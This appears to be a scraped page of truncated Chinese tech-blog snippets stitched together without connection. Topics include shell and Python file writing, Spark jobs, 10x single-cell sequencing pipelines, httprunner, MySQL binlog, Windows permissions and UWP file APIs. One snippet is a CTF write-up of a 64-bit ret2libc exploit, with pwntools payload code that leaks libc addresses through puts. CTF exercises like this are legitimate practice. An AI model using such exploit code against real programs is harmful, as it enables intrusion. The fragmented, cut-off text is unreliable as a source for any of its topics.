# 执行效果 root in jCeXjfniZtN in / ➜ mkdir test10 root in jCeXjfniZtN in / ➜ cd test10/ root in jCeXjfniZtN...in /test10 ➜ vim test.sh root in jCeXjfniZtN in /test10 took 5s ➜ cat test.sh #!...\n11 22\n11 22\n11 22\n11 22\n11 22\n11 22\n11 22\n11 22" >> $file done root in jCeXjfniZtN in /test10...root in jCeXjfniZtN in /test10 ➜ ll total 44 -rw-r--r-- 1 root root 60 Dec 9 14:40 test10.txt -rw-r.../test10 ➜
首先，需要先了解一下IP的组成部分，然后我们使用python来批量生成和写入。...代码 def create_ip(num=10): file = open('demo1.txt', 'w') start = '36.96.0.0' starts = start.split
\\recommendation\\src\\main\\resources\\ratings.csv" // private val MOVIES_CSV_FILE_PATH = "D:\\Users...文件数据为DataFrame - 第二层（中间层）：DW层 将加载业务数据（电影评分数据）和维度数据（电影基本信息数据）进行Join关联，拉宽操作 - 第三层（最上层）：DA层.../APP层 依据需求开发程序，计算指标，进行存储到MySQL表 */ // step2、【ODS层】：加载数据，CSV格式数据，文件首行为列名称 val ratingDF: DataFrame...格式文本文件数据，封装到DataFrame数据集 */ def readCsvFile(spark: SparkSession, path: String, verbose: Boolean =...: DataFrame = top10Films(dataframe) //printConsole(top10FilesDF) upsertToMySQL( top10FilesDF,
string 130M286409N20M 7 NA Reference name of mate * 8 NA Position of mate 0 9 NA Template length 0 10...CGCTCACGCATA 25 RG Read group RG:Z:Day1:0:1:HWJ5VDSXX:4 参考： https://davetang.org/muse/2018/06/06/10x-single-cell-bam-files.../ https://support.10xgenomics.com/single-cell-gene-expression/software/pipelines/latest/output/bam
最近遇到一个需求是将10X单细胞测序数据按照barcode分割，一般分割文件我们首先想到bamtools split,具体用法可以参考之前记录过的bamtools分割bam文件，但是由于bamtools...同时打开并记录的文件数量有限制，所以用下面的分割方式会报memory error。...bamtools split -in tmp.bam -tag CB 因此，查了一下，有人提出了一种解决方案，即将bam文件按barcode排序，然后按相同的barcode将reads取出，代码（转自herrinca
前言 httprunner 4.x 实现参数化使用parameters 关键字，数据源有三种方式 1.在yaml 文件中直接写测试数据源 2.测试数据源写到csv文件 3.自定义函数，函数返回列表形式数据...独立参数 对于已有参数列表，并且数据量比较大的情况，比较适合的方式是将参数列表值存储在 CSV 数据文件中。...对于 CSV 数据文件，需要遵循如下几项约定的规则： CSV 文件中的第一行必须为参数名称，从第二行开始为参数值，每个（组）值占一行； 若同一个 CSV 文件中具有多个参数，则参数名称和数值的间隔符需实用英文逗号...； 在 YAML/JSON 文件引用 CSV 文件时，文件路径为基于项目根目录（debugtalk.py 所在路径）的相对路径。...data/ user.csv user test1 test2 test3 test4 然后在 YAML/JSON 测试用例文件中，就可以通过内置的 parameterize（可简写为 P）函数引用 CSV
写入 binlog 日志文件之前，要先把 binlog 日志从 trx_cache 中读出来，这分为两种情况。 情况 1：只从内存 buffer 读取。...从内存 buffer 中读取全部 binlog 日志写入 binlog 日志文件就可以了。...2.2 从临时文件读取 事务执行过程中产生的 binlog 日志，写入 trx_cache 时，要先把内存 buffer 写满。...每次从临时文件读取 binlog 日志到内存 buffer 之后，都会把内存 buffer 中的 binlog 日志全部写入 binlog 日志文件。...二阶段提交的 flush 子阶段，会从 trx_cache 中读取 binlog 日志，写入 binlog 日志文件。
用正则表达式爬取古诗文网站，边玩边学【python爬虫入门进阶】（09） 本文主要介绍csv文件的读写操作，文件简单易懂。 CSV文件是什么？...: value = {'序号': x['序号'], '标题': x['标题']} print(value) 运行结果是： 如何向CSV文件中写入数据...与读取csv的方法类似的，向CSV文件中写数据的方法就是通过writer对象来操作。...通过csv.writer(fp) 创建一个writer对象。 通过writerow方法写入表头 通过writerows方法写入每行数据。...总结 CSV文件操作起来还挺方便的
前言 最近使用了win10系统，结果发现无法对c盘的文件进行写入删改，在网上到处搜集资料，终于找到了解决方法，这里总结一下。...首先，本文针对的是win10家庭版，家庭版默认是不提供组策略功能，而我们需要给家庭版添加组策略功能来获取修改c盘文件的权限。...在win10家庭版添加组策略功能 在win10家庭版通过win+R打开运行，输入gpedit.msc，回车确定，会提示说windows找不到文件'gpedit.msc'。...在计算机配置 -> Windows设置 -> 安全设置 -> 本地策略 -> 安全选项的目录中，找到用户帐户控制: 以管理员批准模式运行所有管理员这个策略，将安全设置更改为已禁用，重启电脑后便可以随意写入删改...10 C盘无法写入或者删除没有权限解决办法 警告 本文最后更新于 November 28, 2018，文中内容可能已过时，请谨慎使用。
值得注意的是10x的空间单细胞使用的是Space Ranger，软件下载以及数据库文件压缩包下载： https://support.10xgenomics.com/spatial-gene-expression.../software/downloads/latest 虽然说Space Ranger跟cellranger软件名字不一样，但是很类似，感兴趣的可以试试看10x官网提供的案例数据： wget https:...对上面的案例数据（Visium_FFPE_Human_Breast_Cancer_fastqs.tar），走 spaceranger 代码 raw=/home/x10/visium/visium_test.../FFPE/rawdata fq_dir=$raw/Visium_FFPE_Human_Breast_Cancer_fastqs ref=/home/x10/pipeline/refdata-gex-GRCh38...不过绝大部分情况下目前的空间单细胞转录组文章都是提供了这个 spaceranger count 后的结果文件，我们要做的就是理解10x的空间单细胞文件格式详解即可，大概率是不需要跑这个 spaceranger
本文主要：获取文件大小 private async Task FileSize(Windows.Storage.StorageFile file) { var...九幽开发者：53078485 参见：http://stackoverflow.com/questions/14168439/how-to-get-file-size-in-winrt 获取用户最近使用文件...一般我们有一个文件夹或文件不在我们应用目录，需要用户Pick获得权限，那么我们会让用户每次都Pick，这样是不行的。...我们有什么方法让UWP 记住用户选择文件或文件夹，或UWP不让用户每次选择文件 其实有两个方法 MostRecentlyUsedList FutureAccessList 第一个很简单，用户最近使用文件或文件夹...其实我们可以使用FutureAccessList ，这个可以使用1k个，但是为什么只有1k，好少，垃圾wr，要就给无限 参见：http://lindexi.oschina.io/lindexi/post/win10
文件的读写： with open(filename, 'a', encoding='utf-8') as file: with ：后面不必写close文件 第二个参数：‘a’ 追加；‘w’ 写；‘r’...y/n ") file.readlines() 文件按行读取存在列表内 file.read() 整体读取 filename = 'pi_digits.txt' with open(filename)...as pi_file: #with帮助我们适时关闭文件 lines = pi_file.readlines() #把文件按行存储 pi_str = '' for line in lines:...filename = 'learning_python.txt' with open(filename) as file: '''方法1:整个文件一次读取''' # print(file.read...continue print("sum of two nums is ", a+b) json文件存储 json.dump(object, file) json.load(file) import
而有些公共数据并不会提供3个数据，比如: SE117988_raw.expMatrix_PBMC.csv.gz , 就是 10x的表达矩阵。...library(data.table) # 这个表达矩阵其实是10x的，不过可以演示 a=fread('GSE117988_raw.expMatrix_PBMC.csv.gz',header = TRUE...和 GSE135893，你随便下载其中一个，就能看到每个样本都是走流程拿到10x单细胞转录组数据的3个文件的表达矩阵。...('../10x-results/WT/'), "wt") 重点就是 Read10X 函数读取 文件夹路径，比如：../10x-results/WT/...因为10x单细胞转录组表达矩阵里面的0值非常多，所以换成3个文件存储更节省空间。 本质上仍然是一个表达矩阵而已，如果你都有了表达矩阵，就没必要去想那3个文件了。
10X单细胞上游定量标准流程运行Cellranger定量需要对应的参考基因组文件以及其配套的基因组注释信息文件，如果是人类和小鼠，官网即可下载构建好的文件压缩包，详见：https://www.10xgenomics.com...参考： 10X单细胞转录组原始测序数据的Cell Ranger流程（仅需800元） 10X的单细胞转录组原始数据也可以在EBI下载 一个10x单细胞转录组项目从fastq到细胞亚群 一文打通单细胞上游：...从软件部署到上游分析 PRJNA713302这个10x单细胞fastq实战 一次曲折且昂贵的单细胞公共数据获取与上游处理 只能下载bam文件的10x单细胞转录组项目数据处理 不知道10x单细胞转录组样品和...fastq文件的对应关系 10X单细胞转录组测序数据的 SRA转fastq踩坑那些事 10x的单细胞转录组fastq文件的R1和R2不能弄混哦 差不多几个小时就可以完成全部的样品的cellranger的定量流程...gtf文件，构建好10x单细胞转录组CellRanger参考文件。
最近在安排学徒单细胞分享的时候，有一个学徒提到了GSE168522这个数据集，是很标准的6个10x单细胞转录组样品，如下所示： GSM5145401 Sample 16_Normal-1 GSM5145402...从ENA数据库下载fastq文件 首先需要下面的地址信息，自己去ENA数据库按图索骥即可下载，构建成为fq.txt 文件 ： fasp.sra.ebi.ac.uk:/vol1/fastq/SRR139...，一个个下载，可以看到如下所示从晚上八点半到凌晨一点，我们的6个10x单细胞转录组样品的fastq数据文件就全部下载成功咯 。...一个简单的脚本就可以处理全部的6个10x单细胞转录组数据文件： cat id.txt |while read id;do (nohup bash run-cellranger.sh $id 1>log...我没有给名字的可能是，它的标记基因是 NCOR2, NKX3-1, HLX, PRNP ，但是并不在我之前背诵的基因列表里面。 但是，知识就是这样慢慢增加的！
2022-01-10：路径交叉。给你一个整数数组 distance 。...从 X-Y 平面上的点 (0,0) 开始，先向北移动 distance0 米，然后向西移动 distance1 米，向南移动 distance2 米，向东移动 distance3 米，持续移动。...答案2022-01-10： 讨论4种情况。 1.i跟i-3撞。 2.i跟i-4撞，追尾。 3.i跟i-5撞。 4.i跟i-6撞。 代码用golang编写。...3] >= x[1]) || (len(x) > 4 && ((x[3] = x[2]) || (x[3] == x[1] && x[0]+x[4] >= x[2]))...>= x[i-2]) || (x[i-2] >= x[i-4] && x[i-5]+x[i-1] >= x[i-3] && x[i-4]+x[i] >= x[i-2])) {
前面我们介绍了32位elf程序ret2libc的利用方法 本篇我们介绍一下64位的ret2libc 0x00 例题 题目附件下载 1）查看文件信息 $ file ret2libc $ checksec.../ret2libc') padding = 120 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x400666...pop_rdi_ret = 0x0400753 payload = 'a' * padding payload += p64(pop_rdi_ret) payload += p64(puts_got...，程序就会将puts函数的实际地址给我们打印出来 我们通过recvline方法来接收 r.recvline() puts_real = u64(r.recvline()[:-1].ljust(8,'\x00...那么我们上网查一下，戳这里☞libc database search 我们找到对应版本的libc库，即可下载 注：64位程序选择amd64的库，32位程序选择i386的库 我们将对应库下载下来，放到程序文件夹下
我们先写一个简单的xaml <Image x:Name="Img" Height="200" Width="200" HorizontalAlignment=..."Center" Source="Assets/SplashScreen.png" > <Button Margin="<em>10</em>,300,<em>10</em>,<em>10</em>" Content...Windows.Graphics.Imaging.ColorManagementMode.DoNotColorManage); await encoder.FlushAsync(); } } 从文件读...); await output.SetSourceAsync(image); return output; } 上面代码出处：https://codepaste.net/ijx28i 从文件读...我的图片从解决方案获得，大家可以从任意的位置获取，只要可以转换为 IRandomAccessStream var file = await StorageFile.GetFileFromApplicationUriAsync
除夕夜我们介绍了 一个10x单细胞转录组项目从fastq到细胞亚群，演示的10x单细胞转录组项目是人类数据，但是也有不少朋友表示他们的物种比较特殊，需要额外构建index而不能从10x的官网下载，我们也演示一下...10x单细胞转录组数据分析所需要的参考数据文件主要是基因组的fasta文件和基因注释gtf文件，其官网有详细的例子：https://support.10xgenomics.com/single-cell-gene-expression...前单细胞转录组以10X公司为主流，我们也是在单细胞天地公众号详细介绍了cellranger全部使用细节及流程，大家可以自行前往学习，如下： 单细胞实战(一)数据下载 单细胞实战(二) cell ranger...参考前面的 一个10x单细胞转录组项目从fastq到细胞亚群， 查看构建好的index 如下所示： tree -h /home/data/x9/zhao/rat_ref/mRatBN7 /home/data...<<< You can now specify this reference on the command line: cellranger --transcriptome=/home/data/x10
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